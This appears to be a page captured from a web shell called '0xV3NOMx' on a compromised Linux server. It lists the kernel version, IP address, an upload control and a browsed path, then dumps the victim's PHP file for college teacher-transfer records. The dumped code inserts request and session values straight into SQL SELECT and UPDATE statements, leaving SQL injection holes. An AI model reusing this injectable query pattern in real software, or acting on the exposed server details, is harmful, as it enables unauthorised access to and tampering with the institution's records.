0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.116.10.48


Current Path : /var/www/oasis/src/
Upload File :
Current File : /var/www/oasis/src/receive_teach_trans.php

<?php

function loadTeachTrans($aobj_context){
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);

    $fstatus = $aobj_context->mobj_data["fstatus"];
    $college_code = $_SESSION['collcode'];
    // var_dump($college_code);
    // die();
    

    if($fstatus == "all"){
        $cnd = '';
    }else{
        $cnd = "and ifnull(fstatus, 'not_reported')= '$fstatus'";
    }
    $query = "SELECT IFNULL(t.fid, '') AS fid, 
    IFNULL(t.fteachcode, '') AS fteachcode, 
    IFNULL(t.fteachname, '')AS fteachname,
    IFNULL(t.ffromcolcode, '')AS ffromcolcode, 
    IFNULL(t.ftocolcode, '') AS ftocolcode,   
    IFNULL(t.fstatus, 'not_reported')AS fstatus,
    IFNULL(c.fcollname, '') AS ffromcollname,
    IFNULL(cc.fcollname, '') AS ftocollname
    FROM teachtransfer t INNER JOIN college c ON c.fcollcode = t.ffromcolcode 
    INNER JOIN college cc ON cc.fcollcode = t.ftocolcode 
    WHERE t.ftocolcode = '$college_code' $cnd";
    $get_data = $aobj_context->mobj_db->GetAll($query);
    
    if($get_data)
        {	
            echo $aobj_context->mobj_output->ToJSONEnvelope($get_data,0,"success"); 
            return;
        }
        else
        {
            $arr['msg'] = "no data found..!";
            $data="not found";
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;
        }
}

function updateTeachTransfer($aobj_context){
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
    $fstatus = $aobj_context->mobj_data["fstatus"];
    $teachcode = $aobj_context->mobj_data["fteachcode"];
    $college_code = $_SESSION['collcode'];
    
    
    $query = "update teachtransfer set fstatus = '$fstatus', fupdateddate=now() where fteachcode = '$teachcode'";
    
    $get_data = $aobj_context->mobj_db->Execute($query);

    if($fstatus == 'reported'){
        
        $query1 = "update masteach set fcollcode = '$college_code', fcolstatus = '$fstatus' where fteachcode = '$teachcode'";
    //     var_dump($query1);
    // die();
        $get_data2 = $aobj_context->mobj_db->Execute($query1);

    }
    
    if($get_data)
        {	
            $arr['msg']="Saved..";
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
            return;
        }
        else
        {
            $arr['msg'] = "failed..!";
            $data="not found";
            echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); 
            return;
        }

}

?>